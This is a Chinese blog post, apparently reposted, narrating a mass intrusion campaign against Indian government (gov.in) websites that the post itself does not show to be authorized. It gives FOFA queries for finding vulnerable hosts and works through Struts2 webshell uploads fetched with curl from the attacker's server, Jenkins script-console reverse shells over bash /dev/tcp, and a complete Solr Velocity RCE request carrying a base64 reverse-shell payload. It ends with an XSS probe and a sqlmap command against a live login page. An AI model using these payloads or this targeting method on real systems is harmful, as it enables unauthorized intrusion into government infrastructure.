一次暴露面全开的红帽渗透测试【getshell】

这篇具有很好参考价值的文章主要介绍了一次暴露面全开的红帽渗透测试【getshell】。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x01、信息收集阶段

注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/

一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集

host="gov.in" && country="IN"

哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。

试着写了个脚本看看:

import pythonfofa
import csv
​
filename = "IN_domain.csv"
​
email = 'u_mail'
key = 'u_API_KEY'
search = pythonfofa.Client(email, key)
get_data = search.search('host="gov.in" && country="IN"', size=70000)
# print(get_data)
​
requests = [result[1] for result in get_data['results']]
print(requests)
# 打开CSV文件并设置写入模式
with open(filename, "w", newline="") as file:
    writer = csv.writer(file)
​
    # 遍历请求列表
    for request in requests:
        # 在控制台打印域名
        print(request)
​
        # 检测域名是否包含"http://"
        if not request.startswith("http://") and not request.startswith("https://"):
            # 如果不包含,则在域名前添加"http://"
            request = "http://" + request
​
        # 在域名后添加斜杠"/"
        request += "/"
​
        # 将请求和值"1"作为一行写入CSV文件
        writer.writerow([request, 1])

是的,肯定不能跑,下断点,调试看看

很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫

主流框架的相关漏洞的FOFA规则语句:

Fastjson

app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")

Struts2

app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")

Log4j2

(app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443"))

其他的也都大同小异,照葫芦画瓢就行。

目标站点收集差不多了,就是漏洞探测阶段了。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

0x02、漏洞探测及利用

Struts2:

直接掏出大范围漏扫AWVS就行批量漏洞探测:

第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞:

很好一堆==Struts2==漏洞,直接上工具:

得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell==

将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/

直接执行

curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp

然后webshell工具Antsword连接即可:

爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________

Weblogic:

很好用的awvs,直接上工具注入内存马:

冰蝎连接webshell:

同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》

(PS:这个时候已经有些疲软了,没有去手测upload的点)

Jenkins:

中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA:

(app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443")

一看86条资产,有戏,数量不多,直接手测:

存在未授权,访问manager --> script页面,进行命令执行测试:

println "ls -al".execute().text

存在命令执行,尝试反弹shell:

println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text

接收shell的服务器开启端口监听:

执行命令

发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作:

在sh文件中写入如下内容:

bash -i >& /dev/tcp/ip/port 0<&1

保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件:

println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text

查看.sh文件是否获取成功:

println "ls -al /tmp".execute().text

获取.sh文件成功,执行文件,反弹shell:

开启监听:

执行命令,启动.sh文件:

println "bash /tmp/jenkins.sh".execute().text

成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。

Apache-Solr

闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA:

country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80")

数据不大,接着手测,拿到三个未授权(不需要登陆):

==授权==:

==未授权==:

拿到未授权之后,进行CVE探测:

访问/solr/admin/cores/,获取name => music

接着拼接路径/solr/music/config/查看用户配置信息:

都为true,可直接利用公网披露的payload进行RCE,

GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

测试是否出网:

修改执行命令为

curl%20xtolsc.dnslog.cn

可出网,直接反弹shell:

GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end  HTTP/1.1
Host: ip
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

VPS开启端口监听:nc -lvvnp 5000

接听到弹过来的shell了,好,又拿下一台,root权限。

其他漏洞发现

反射型XSS

具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句

<script>alert(1)</script>

SQL注入

这类没有具体测试,发现注入点之后直接上SQLmap开扫:

sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql

诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。

渗透总结

本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。

更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-637431.html

到了这里,关于一次暴露面全开的红帽渗透测试【getshell】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 基于kali的一次无线渗透测试

    《中华人民共和国刑法》 第二百八十六条 违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存

    2024年02月03日
    浏览(44)
  • 记一次奇妙的某个edu渗透测试

    对登录方法的轻视造成一系列的漏洞出现,对接口确实鉴权造成大量的信息泄露。从小程序到web端网址的奇妙的测试就此开始。(文章厚码,请见谅) 1. 寻找到目标站点的小程序 进入登录发现只需要姓名加学工号就能成功登录,通过googlehack的语法成功找到学生姓名和学号,

    2024年04月16日
    浏览(61)
  • 记一次网络安全渗透测试实战指南

    网址已无法访问,就不贴了 可以使用Fofa,火线,zoomeye,searchcode.com等爬取相关的资产,重点关注一些有漏洞暴露的框架和服务例如:泛微,PHP,Tomca,后台,weblogic等等。之后就主要分三步: 指纹识别、漏洞验证、漏洞复现。 指纹识别很好理解,我们要拿历史漏洞怼它,首

    2024年02月08日
    浏览(54)
  • 如何做好《关键信息基础设施安全保护要求》提到的收敛暴露面?

    5月1日,《信息安全技术 关键信息基础设施安全保护要求》(GB/T 39204-2022)国家标准正式实施。该标准作为关键信息基础设施安全保护标准体系的构建基础,提出了关键信息基础设施安全保护的三项基本原则,为运营者开展关键信息基础设施保护工作需求提供了强有力的指导

    2024年02月04日
    浏览(47)
  • 渗透测试 | Web信息收集

    0x00 免责声明         本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!            

    2024年02月01日
    浏览(89)
  • 渗透测试——信息收集(详细)

    前言: 信息收集是渗透测试除了授权之外的第一步,也是关键的一步,尽量多的收集目标的信息会给后续的渗透事半功倍。收集信息的思路有很多,例如: 页面信息收集、域名信息收集、敏感信息收集、子域名收集、端口探测、CMS指纹识别、查找真实IP、敏感目录/文件收集

    2024年02月13日
    浏览(39)
  • 渗透测试 | APP信息收集

    0x00 免责声明         本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!            

    2024年01月17日
    浏览(44)
  • 渗透测试 | IP信息收集

    0x00 前言         信息收集可以说是在渗透测试中最重要的一部分,好比说一个特工接到一个任务,要求窃取 A 建筑内的情报,那么这个特工首先要进行信息收集,了解这个建筑的保卫情况、建筑地图、人员信息、情报位置等。收集到建筑的信息越多,就说明渗透测试的攻

    2024年02月04日
    浏览(45)
  • 记一次FastAdmin后台Getshell

    FastAdmin 是基于ThinkPHP5和Bootstrap的极速后台开发框架。 基于ThinkPHP行为功能实现的插件机制,拥有丰富的插件和扩展,可直接在线安装卸载 。 基于完善的Auth权限控制管理、无限父子级权限分组、可自由分配子级权限、一个管理员可同时属于多个组别 。 在某次HVV的打点过程中,

    2024年02月07日
    浏览(48)
  • kali渗透测试系列---信息收集

    信息收集阶段可以说是在整个渗透测试或者攻击很重要的阶段,毕竟知己知彼才能百战百胜,否则从目标主机使用的平台到数据库的使用再到 web 应用开发的语言等等的种类多如繁星我们一个个的尝试,什么时候才是一个头。 而对于信息的收集我们主要从这样的几个方面来收

    2024年02月03日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包